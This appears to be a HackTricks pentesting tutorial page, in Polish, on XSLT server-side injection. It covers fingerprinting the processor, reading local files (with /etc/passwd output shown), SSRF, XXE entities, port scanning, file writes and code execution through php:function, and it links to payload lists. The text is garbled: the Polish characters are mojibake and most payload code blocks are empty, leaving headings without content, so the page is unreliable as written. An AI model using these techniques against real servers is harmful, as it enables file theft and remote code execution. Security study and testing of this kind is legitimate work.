# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Podstawowe informacje XSLT to technologia wykorzystywana do przekszta艂cania dokument贸w XML w r贸偶ne formaty. Wyst臋puje w trzech wersjach: 1, 2 i 3, przy czym wersja 1 jest najcz臋艣ciej u偶ywana. Proces transformacji mo偶e by膰 realizowany zar贸wno na serwerze, jak i w przegl膮darce. Najcz臋艣ciej u偶ywane frameworki to: - **Libxslt** z Gnome, - **Xalan** z Apache, - **Saxon** z Saxonica. Aby wykorzysta膰 luki zwi膮zane z XSLT, konieczne jest, aby tagi xsl by艂y przechowywane po stronie serwera, a nast臋pnie dost臋p do tej zawarto艣ci. Przyk艂ad takiej luki jest udokumentowany w nast臋puj膮cym 藕r贸dle: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/). ## Przyk艂ad - Samouczek ```bash sudo apt-get install default-jdk sudo apt-get install libsaxonb-java libsaxon-java ``` {% code title="xml.xml" %} ```xml CD Title The artist Da Company 10000 1760 ``` {% endcode %} {% code title="xsl.xsl" %} ```xml

The Super title

Title artist
``` {% endcode %} Wykonaj: ```xml saxonb-xslt -xsl:xsl.xsl xml.xml Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl: Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor

The Super title

Title artist
CD Title The artist
``` ### Odcisk palca {% code title="detection.xsl" %} ```xml Version:
Vendor:
Vendor URL:
Product Name:
Product Version:
Is Schema Aware ?:
Supports Serialization:
Supports Backwards Compatibility:
``` {% endcode %} I wykona膰 ```xml $saxonb-xslt -xsl:detection.xsl xml.xml Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl: Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor

XSLT identification

Version:2.0
Vendor:SAXON 9.1.0.8 from Saxonica
Vendor URL:http://www.saxonica.com/
``` ### Odczyt lokalnego pliku {% code title="read.xsl" %} ```xml ``` {% endcode %} ```xml $ saxonb-xslt -xsl:read.xsl xml.xml Warning: at xsl:stylesheet on line 1 column 111 of read.xsl: Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ``` ### SSRF ```xml ``` ### Wersje Mo偶e by膰 wi臋cej lub mniej funkcji w zale偶no艣ci od u偶ywanej wersji XSLT: * [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/) * [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/) * [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/) ## Odcisk Prze艣lij to i zbierz informacje ```xml Version:
Vendor:
Vendor URL:
Product Name:
Product Version:
Is Schema Aware ?:
Supports Serialization:
Supports Backwards Compatibility:
``` ## SSRF ```xml ``` ## Wstrzykiwanie Javascript ```xml ``` ## Directory listing (PHP) ### **Opendir + readdir** ```xml - - - - - - - - - ``` ### **Assert (var\_dump + scandir + false)** ```xml
``` ## Czytaj pliki ### **Wewn臋trzny - PHP** ```xml ``` ### **Wewn臋trzny - XXE** ```xml ]> &ext_file; ``` ### **Przez HTTP** ```xml ``` ```xml ]> &passwd; ``` ### **Wewn臋trzny (funkcja PHP)** ```xml ``` ```xml
``` ### Skanowanie port贸w ```xml ``` ## Zapisz do pliku ### XSLT 2.0 ```xml Write Local File ``` ### **Rozszerzenie Xalan-J** ```xml Write Local File ``` Inne sposoby na zapisanie plik贸w w PDF ## Do艂膮cz zewn臋trzny XSL ```xml ``` ```xml ``` ## Wykonaj kod ### **php:function** ```xml ``` ```xml
``` Execute code using other frameworks in the PDF ### **Wi臋cej j臋zyk贸w** **Na tej stronie znajdziesz przyk艂ady RCE w innych j臋zykach:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)** ## **Dost臋p do statycznych funkcji PHP z klas** Poni偶sza funkcja wywo艂a statyczn膮 metod臋 `stringToUrl` klasy XSL: ```xml ``` (Przyk艂ad z [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls)) ## Wi臋cej 艂adunk贸w * Sprawd藕 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) * Sprawd藕 [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) ## **Lista wykrywania brute-force** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %} ## **Referencje** * [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\ * [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\ * [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf) {% hint style="success" %} Ucz si臋 i 膰wicz hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz si臋 i 膰wicz hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks * Sprawd藕 [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Do艂膮cz do** 馃挰 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **艣led藕** nas na **Twitterze** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podziel si臋 trikami hackingowymi, przesy艂aj膮c PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytori贸w na githubie.
{% endhint %}